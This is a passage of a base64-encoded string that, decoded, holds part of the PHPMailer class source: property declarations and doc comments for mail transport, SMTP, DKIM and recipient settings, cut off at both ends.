MtZWFzeXBlYXN5aWNzLWNyZWF0ZS1pY2FsLWZpbGVzLXdpdGgtcGhwLwogICAgICogQGxpbmsgaHR0cDovL2tpZ2tvbnN1bHQuc2UvaUNhbGNyZWF0b3IvCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEljYWwgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBjb21wbGV0ZSBjb21waWxlZCBNSU1FIG1lc3NhZ2UgYm9keS4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgJE1JTUVCb2R5ID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgY29tcGxldGUgY29tcGlsZWQgTUlNRSBtZXNzYWdlIGhlYWRlcnMuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRNSU1FSGVhZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBFeHRyYSBoZWFkZXJzIHRoYXQgY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkbWFpbEhlYWRlciA9ICcnOwoKICAgIC8qKgogICAgICogV29yZC13cmFwIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhpcyBudW1iZXIgb2YgY2hhcnMuCiAgICAgKiBTZXQgdG8gMCB0byBub3Qgd3JhcC4gQSB1c2VmdWwgdmFsdWUgaGVyZSBpcyA3OCwgZm9yIFJGQzI4MjIgc2VjdGlvbiAyLjEuMSBjb21wbGlhbmNlLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkV29yZFdyYXAgPSAwOwoKICAgIC8qKgogICAgICogV2hpY2ggbWV0aG9kIHRvIHVzZSB0byBzZW5kIG1haWwuCiAgICAgKiBPcHRpb25zOiAibWFpbCIsICJzZW5kbWFpbCIsIG9yICJzbXRwIi4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkTWFpbGVyID0gJ21haWwnOwoKICAgIC8qKgogICAgICogVGhlIHBhdGggdG8gdGhlIHNlbmRtYWlsIHByb2dyYW0uCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFNlbmRtYWlsID0gJy91c3Ivc2Jpbi9zZW5kbWFpbCc7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIG1haWwoKSB1c2VzIGEgZnVsbHkgc2VuZG1haWwtY29tcGF0aWJsZSBNVEEuCiAgICAgKiBPbmUgd2hpY2ggc3VwcG9ydHMgc2VuZG1haWwncyAiLW9pIC1mIiBvcHRpb25zLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlU2VuZG1haWxPcHRpb25zID0gdHJ1ZTsKCiAgICAvKioKICAgICAqIFBhdGggdG8gUEhQTWFpbGVyIHBsdWdpbnMuCiAgICAgKiBVc2VmdWwgaWYgdGhlIFNNVFAgY2xhc3MgaXMgbm90IGluIHRoZSBQSFAgaW5jbHVkZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIFNob3VsZCBub3QgYmUgbmVlZGVkIG5vdyB0aGVyZSBpcyBhbiBhdXRvbG9hZGVyLgogICAgICovCiAgICBwdWJsaWMgJFBsdWdpbkRpciA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGVtYWlsIGFkZHJlc3MgdGhhdCBhIHJlYWRpbmcgY29uZmlybWF0aW9uIHNob3VsZCBiZSBzZW50IHRvLCBhbHNvIGtub3duIGFzIHJlYWQgcmVjZWlwdC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQ29uZmlybVJlYWRpbmdUbyA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGhvc3RuYW1lIHRvIHVzZSBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgYW5kIGFzIGRlZmF1bHQgSEVMTyBzdHJpbmcuCiAgICAgKiBJZiBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQgb25lIHdpdGgsIGluIG9yZGVyLAogICAgICogJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10sIGdldGhvc3RuYW1lKCksIHBocF91bmFtZSgnbicpLCBvciB0aGUgdmFsdWUKICAgICAqICdsb2NhbGhvc3QubG9jYWxkb21haW4nLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRIb3N0bmFtZSA9ICcnOwoKICAgIC8qKgogICAgICogQW4gSUQgdG8gYmUgdXNlZCBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIuCiAgICAgKiBJZiBlbXB0eSwgYSB1bmlxdWUgaWQgd2lsbCBiZSBnZW5lcmF0ZWQuCiAgICAgKiBZb3UgY2FuIHNldCB5b3VyIG93biwgYnV0IGl0IG11c3QgYmUgaW4gdGhlIGZvcm1hdCAiPGlkQGRvbWFpbj4iLAogICAgICogYXMgZGVmaW5lZCBpbiBSRkM1MzIyIHNlY3Rpb24gMy42LjQgb3IgaXQgd2lsbCBiZSBpZ25vcmVkLgogICAgICogQHNlZSBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjNTMyMiNzZWN0aW9uLTMuNi40CiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VJRCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgRGF0ZSB0byBiZSB1c2VkIGluIHRoZSBEYXRlIGhlYWRlci4KICAgICAqIElmIGVtcHR5LCB0aGUgY3VycmVudCBkYXRlIHdpbGwgYmUgYWRkZWQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VEYXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGhvc3RzLgogICAgICogRWl0aGVyIGEgc2luZ2xlIGhvc3RuYW1lIG9yIG11bHRpcGxlIHNlbWljb2xvbi1kZWxpbWl0ZWQgaG9zdG5hbWVzLgogICAgICogWW91IGNhbiBhbHNvIHNwZWNpZnkgYSBkaWZmZXJlbnQgcG9ydAogICAgICogZm9yIGVhY2ggaG9zdCBieSB1c2luZyB0aGlzIGZvcm1hdDogW2hvc3RuYW1lOnBvcnRdCiAgICAgKiAoZS5nLiAic210cDEuZXhhbXBsZS5jb206MjU7c210cDIuZXhhbXBsZS5jb20iKS4KICAgICAqIFlvdSBjYW4gYWxzbyBzcGVjaWZ5IGVuY3J5cHRpb24gdHlwZSwgZm9yIGV4YW1wbGU6CiAgICAgKiAoZS5nLiAidGxzOi8vc210cDEuZXhhbXBsZS5jb206NTg3O3NzbDovL3NtdHAyLmV4YW1wbGUuY29tOjQ2NSIpLgogICAgICogSG9zdHMgd2lsbCBiZSB0cmllZCBpbiBvcmRlci4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkSG9zdCA9ICdsb2NhbGhvc3QnOwoKICAgIC8qKgogICAgICogVGhlIGRlZmF1bHQgU01UUCBzZXJ2ZXIgcG9ydC4KICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQFRPRE8gV2h5IGlzIHRoaXMgbmVlZGVkIHdoZW4gdGhlIFNNVFAgY2xhc3MgdGFrZXMgY2FyZSBvZiBpdD8KICAgICAqLwogICAgcHVibGljICRQb3J0ID0gMjU7CgogICAgLyoqCiAgICAgKiBUaGUgU01UUCBIRUxPIG9mIHRoZSBtZXNzYWdlLgogICAgICogRGVmYXVsdCBpcyAkSG9zdG5hbWUuIElmICRIb3N0bmFtZSBpcyBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQKICAgICAqIG9uZSB3aXRoIHRoZSBzYW1lIG1ldGhvZCBkZXNjcmliZWQgYWJvdmUgZm9yICRIb3N0bmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JEhvc3RuYW1lCiAgICAgKi8KICAgIHB1YmxpYyAkSGVsbyA9ICcnOwoKICAgIC8qKgogICAgICogV2hhdCBraW5kIG9mIGVuY3J5cHRpb24gdG8gdXNlIG9uIHRoZSBTTVRQIGNvbm5lY3Rpb24uCiAgICAgKiBPcHRpb25zOiAnJywgJ3NzbCcgb3IgJ3RscycKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUFNlY3VyZSA9ICcnOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBlbmFibGUgVExTIGVuY3J5cHRpb24gYXV0b21hdGljYWxseSBpZiBhIHNlcnZlciBzdXBwb3J0cyBpdCwKICAgICAqIGV2ZW4gaWYgYFNNVFBTZWN1cmVgIGlzIG5vdCBzZXQgdG8gJ3RscycuCiAgICAgKiBCZSBhd2FyZSB0aGF0IGluIFBIUCA+PSA1LjYgdGhpcyByZXF1aXJlcyB0aGF0IHRoZSBzZXJ2ZXIncyBjZXJ0aWZpY2F0ZXMgYXJlIHZhbGlkLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dG9UTFMgPSB0cnVlOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byB1c2UgU01UUCBhdXRoZW50aWNhdGlvbi4KICAgICAqIFVzZXMgdGhlIFVzZXJuYW1lIGFuZCBQYXNzd29yZCBwcm9wZXJ0aWVzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFVzZXJuYW1lCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFBhc3N3b3JkCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dGggPSBmYWxzZTsKCiAgICAvKioKICAgICAqIE9wdGlvbnMgYXJyYXkgcGFzc2VkIHRvIHN0cmVhbV9jb250ZXh0X2NyZWF0ZSB3aGVuIGNvbm5lY3RpbmcgdmlhIFNNVFAuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyAkU01UUE9wdGlvbnMgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogU01UUCB1c2VybmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlcm5hbWUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcGFzc3dvcmQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFBhc3N3b3JkID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGF1dGggdHlwZS4KICAgICAqIE9wdGlvbnMgYXJlIENSQU0tTUQ1LCBMT0dJTiwgUExBSU4sIE5UTE0sIFhPQVVUSDIsIGF0dGVtcHRlZCBpbiB0aGF0IG9yZGVyIGlmIG5vdCBzcGVjaWZpZWQKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQXV0aFR5cGUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcmVhbG0uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkUmVhbG0gPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgd29ya3N0YXRpb24uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkV29ya3N0YXRpb24gPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTTVRQIHNlcnZlciB0aW1lb3V0IGluIHNlY29uZHMuCiAgICAgKiBEZWZhdWx0IG9mIDUgbWludXRlcyAoMzAwc2VjKSBpcyBmcm9tIFJGQzI4MjEgc2VjdGlvbiA0LjUuMy4yCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgcHVibGljICRUaW1lb3V0ID0gMzAwOwoKICAgIC8qKgogICAgICogU01UUCBjbGFzcyBkZWJ1ZyBvdXRwdXQgbW9kZS4KICAgICAqIERlYnVnIG91dHB1dCBsZXZlbC4KICAgICAqIE9wdGlvbnM6CiAgICAgKiAqIGAwYCBObyBvdXRwdXQKICAgICAqICogYDFgIENvbW1hbmRzCiAgICAgKiAqIGAyYCBEYXRhIGFuZCBjb21tYW5kcwogICAgICogKiBgM2AgQXMgMiBwbHVzIGNvbm5lY3Rpb24gc3RhdHVzCiAgICAgKiAqIGA0YCBMb3ctbGV2ZWwgZGF0YSBvdXRwdXQKICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQHNlZSBTTVRQOjokZG9fZGVidWcKICAgICAqLwogICAgcHVibGljICRTTVRQRGVidWcgPSAwOwoKICAgIC8qKgogICAgICogSG93IHRvIGhhbmRsZSBkZWJ1ZyBvdXRwdXQuCiAgICAgKiBPcHRpb25zOgogICAgICogKiBgZWNob2AgT3V0cHV0IHBsYWluLXRleHQgYXMtaXMsIGFwcHJvcHJpYXRlIGZvciBDTEkKICAgICAqICogYGh0bWxgIE91dHB1dCBlc2NhcGVkLCBsaW5lIGJyZWFrcyBjb252ZXJ0ZWQgdG8gYDxicj5gLCBhcHByb3ByaWF0ZSBmb3IgYnJvd3NlciBvdXRwdXQKICAgICAqICogYGVycm9yX2xvZ2AgT3V0cHV0IHRvIGVycm9yIGxvZyBhcyBjb25maWd1cmVkIGluIHBocC5pbmkKICAgICAqCiAgICAgKiBBbHRlcm5hdGl2ZWx5LCB5b3UgY2FuIHByb3ZpZGUgYSBjYWxsYWJsZSBleHBlY3RpbmcgdHdvIHBhcmFtczogYSBtZXNzYWdlIHN0cmluZyBhbmQgdGhlIGRlYnVnIGxldmVsOgogICAgICogPGNvZGU+CiAgICAgKiAkbWFpbC0+RGVidWdvdXRwdXQgPSBmdW5jdGlvbigkc3RyLCAkbGV2ZWwpIHtlY2hvICJkZWJ1ZyBsZXZlbCAkbGV2ZWw7IG1lc3NhZ2U6ICRzdHIiO307CiAgICAgKiA8L2NvZGU+CiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHNlZSBTTVRQOjokRGVidWdvdXRwdXQKICAgICAqLwogICAgcHVibGljICREZWJ1Z291dHB1dCA9ICdlY2hvJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8ga2VlcCBTTVRQIGNvbm5lY3Rpb24gb3BlbiBhZnRlciBlYWNoIG1lc3NhZ2UuCiAgICAgKiBJZiB0aGlzIGlzIHNldCB0byB0cnVlIHRoZW4gdG8gY2xvc2UgdGhlIGNvbm5lY3Rpb24KICAgICAqIHJlcXVpcmVzIGFuIGV4cGxpY2l0IGNhbGwgdG8gc210cENsb3NlKCkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRTTVRQS2VlcEFsaXZlID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIHRvIHNwbGl0IG11bHRpcGxlIHRvIGFkZHJlc3NlcyBpbnRvIG11bHRpcGxlIG1lc3NhZ2VzCiAgICAgKiBvciBzZW5kIHRoZW0gYWxsIGluIG9uZSBtZXNzYWdlLgogICAgICogT25seSBzdXBwb3J0ZWQgaW4gYG1haWxgIGFuZCBgc2VuZG1haWxgIHRyYW5zcG9ydHMsIG5vdCBpbiBTTVRQLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU2luZ2xlVG8gPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFN0b3JhZ2UgZm9yIGFkZHJlc3NlcyB3aGVuIFNpbmdsZVRvIGlzIGVuYWJsZWQuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAVE9ETyBUaGlzIHNob3VsZCByZWFsbHkgbm90IGJlIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgJFNpbmdsZVRvQXJyYXkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBnZW5lcmF0ZSBWRVJQIGFkZHJlc3NlcyBvbiBzZW5kLgogICAgICogT25seSBhcHBsaWNhYmxlIHdoZW4gc2VuZGluZyB2aWEgU01UUC4KICAgICAqIEBsaW5rIGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1ZhcmlhYmxlX2VudmVsb3BlX3JldHVybl9wYXRoCiAgICAgKiBAbGluayBodHRwOi8vd3d3LnBvc3RmaXgub3JnL1ZFUlBfUkVBRE1FLmh0bWwgUG9zdGZpeCBWRVJQIGluZm8KICAgICAqIEB2YXIgYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgJGRvX3ZlcnAgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gYWxsb3cgc2VuZGluZyBtZXNzYWdlcyB3aXRoIGFuIGVtcHR5IGJvZHkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRBbGxvd0VtcHR5ID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBUaGUgZGVmYXVsdCBsaW5lIGVuZGluZy4KICAgICAqIEBub3RlIFRoZSBkZWZhdWx0IHJlbWFpbnMgIlxuIi4gV2UgZm9yY2UgQ1JMRiB3aGVyZSB3ZSBrbm93CiAgICAgKiAgICAgICAgaXQgbXVzdCBiZSB1c2VkIHZpYSBzZWxmOjpDUkxGLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRMRSA9ICJcbiI7CgogICAgLyoqCiAgICAgKiBES0lNIHNlbGVjdG9yLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX3NlbGVjdG9yID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIElkZW50aXR5LgogICAgICogVXN1YWxseSB0aGUgZW1haWwgYWRkcmVzcyB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIGVtYWlsLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX2lkZW50aXR5ID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHBhc3NwaHJhc2UuCiAgICAgKiBVc2VkIGlmIHlvdXIga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wYXNzcGhyYXNlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHNpZ25pbmcgZG9tYWluIG5hbWUuCiAgICAgKiBAZXhhbXBsZSAnZXhhbXBsZS5jb20nCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJERLSU1fZG9tYWluID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IHN0cmluZy4KICAgICAqIElmIHNldCwgdGFrZXMgcHJlY2VkZW5jZSBvdmVyIGAkREtJTV9wcml2YXRlYC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlX3N0cmluZyA9ICcnOwoKICAgIC8qKgogICAgICogQ2FsbGJhY2sgQWN0aW9uIGZ1bmN0aW9uIG5hbWUuCiAgICAgKgogICAgICogVGhlIGZ1bmN0aW9uIHRoYXQgaGFuZGxlcyB0aGUgcmVzdWx0IG9mIHRoZSBzZW5kIGVtYWlsIGFjdGlvbi4KICAgICAqIEl0IGlzIGNhbGxlZCBvdXQgYnkgc2VuZCgpIGZvciBlYWNoIGVtYWlsIHNlbnQuCiAgICAgKgogICAgICogVmFsdWUgY2FuIGJlIGFueSBwaHAgY2FsbGFibGU6IGh0dHA6Ly93d3cucGhwLm5ldC9pc19jYWxsYWJsZQogICAgICoKICAgICAqIFBhcmFtZXRlcnM6CiAgICAgKiAgIGJvb2xlYW4gJHJlc3VsdCAgICAgICAgcmVzdWx0IG9mIHRoZSBzZW5kIGFjdGlvbgogICAgICogICBhcnJheSAgICR0byAgICAgICAgICAgIGVtYWlsIGFkZHJlc3NlcyBvZiB0aGUgcmVjaXBpZW50cwogICAgICogICBhcnJheSAgICRjYyAgICAgICAgICAgIGNjIGVtYWlsIGFkZHJlc3NlcwogICAgICogICBhcnJheSAgICRiY2MgICAgICAgICAgIGJjYyBlbWFpbCBhZGRyZXNzZXMKICAgICAqICAgc3RyaW5nICAkc3ViamVjdCAgICAgICB0aGUgc3ViamVjdAogICAgICogICBzdHJpbmcgICRib2R5ICAgICAgICAgIHRoZSBlbWFpbCBib2R5CiAgICAgKiAgIHN0cmluZyAgJGZyb20gICAgICAgICAgZW1haWwgYWRkcmVzcyBvZiBzZW5kZXIKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkYWN0aW9uX2Z1bmN0aW9uID0gJyc7CgogICAgLyoqCiAgICAgKiBXaGF0IHRvIHB1dCBpbiB0aGUgWC1NYWlsZXIgaGVhZGVyLgogICAgICogT3B0aW9uczogQW4gZW1wdHkgc3RyaW5nIGZvciBQSFBNYWlsZXIgZGVmYXVsdCwgd2hpdGVzcGFjZSBmb3Igbm9uZSwgb3IgYSBzdHJpbmcgdG8gdXNlCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFhNYWlsZXIgPSAnICc7CgogICAgLyoqCiAgICAgKiBXaGljaCB2YWxpZGF0b3IgdG8gdXNlIGJ5IGRlZmF1bHQgd2hlbiB2YWxpZGF0aW5nIGVtYWlsIGFkZHJlc3Nlcy4KICAgICAqIE1heSBiZSBhIGNhbGxhYmxlIHRvIGluamVjdCB5b3VyIG93biB2YWxpZGF0b3IsIGJ1dCB0aGVyZSBhcmUgc2V2ZXJhbCBidWlsdC1pbiB2YWxpZGF0b3JzLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygpCiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljICR2YWxpZGF0b3IgPSAnYXV0byc7CgogICAgLyoqCiAgICAgKiBBbiBpbnN0YW5jZSBvZiB0aGUgU01UUCBzZW5kZXIgY2xhc3MuCiAgICAgKiBAdmFyIFNNVFAKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc210cCA9IG51bGw7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ3RvJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICR0byA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2NjJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRjYyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2JjYycgbmFtZXMgYW5kIGFkZHJlc3Nlcy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYmNjID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiByZXBseS10byBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIEFuIGFycmF5IG9mIGFsbCBraW5kcyBvZiBhZGRyZXNzZXMuCiAgICAgKiBJbmNsdWRlcyBhbGwgb2YgJHRvLCAkY2MsICRiY2MKICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqLwogICAgcHJvdGVjdGVkICRhbGxfcmVjaXBpZW50cyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBBbiBhcnJheSBvZiBuYW1lcyBhbmQgYWRkcmVzc2VzIHF1ZXVlZCBmb3IgdmFsaWRhdGlvbi4KICAgICAqIEluIHNlbmQoKSwgdmFsaWQgYW5kIG5vbiBkdXBsaWNhdGUgZW50cmllcyBhcmUgbW92ZWQgdG8gJGFsbF9yZWNpcGllbnRzCiAgICAgKiBhbmQgb25lIG9mICR0bywgJGNjLCBvciAkYmNjLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokYWxsX3JlY2lwaWVudHMKICAgICAqLwogICAgcHJvdGVjdGVkICRSZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogQW4gYXJyYXkgb2YgcmVwbHktdG8gbmFtZXMgYW5kIGFkZHJlc3NlcyBxdWV1ZWQgZm9yIHZhbGlkYXRpb24uCiAgICAgKiBJbiBzZW5kKCksIHZhbGlkIGFuZCBub24gZHVwbGljYXRlIGVudHJpZXMgYXJlIG1vdmVkIHRvICRSZXBseVRvLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFJlcGx5VG8KICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF0dGFjaG1lbnRzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRhdHRhY2htZW50ID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiBjdXN0b20gaGVhZGVycy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkQ3VzdG9tSGVhZGVyID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBtb3N0IHJlY2VudCBNZXNzYWdlLUlEIChpbmNsdWRpbmcgYW5ndWxhciBicmFja2V0cykuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRsYXN0TWVzc2FnZUlEID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgbWVzc2FnZSdzIE1JTUUgdHlwZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJG1lc3NhZ2VfdHlwZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIE1JTUUgYm91bmRhcnkgc3RyaW5ncy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYm91bmRhcnkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF2YWlsYWJsZSBsYW5ndWFnZXMuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGxhbmd1YWdlID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBudW1iZXIgb2YgZXJyb3JzIGVuY291bnRlcmVkLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGVycm9yX2NvdW50ID0gMDsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUgY2VydGlmaWNhdGUgZmlsZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc2lnbl9jZXJ0X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X2ZpbGUgPSAnJzsKCiAgI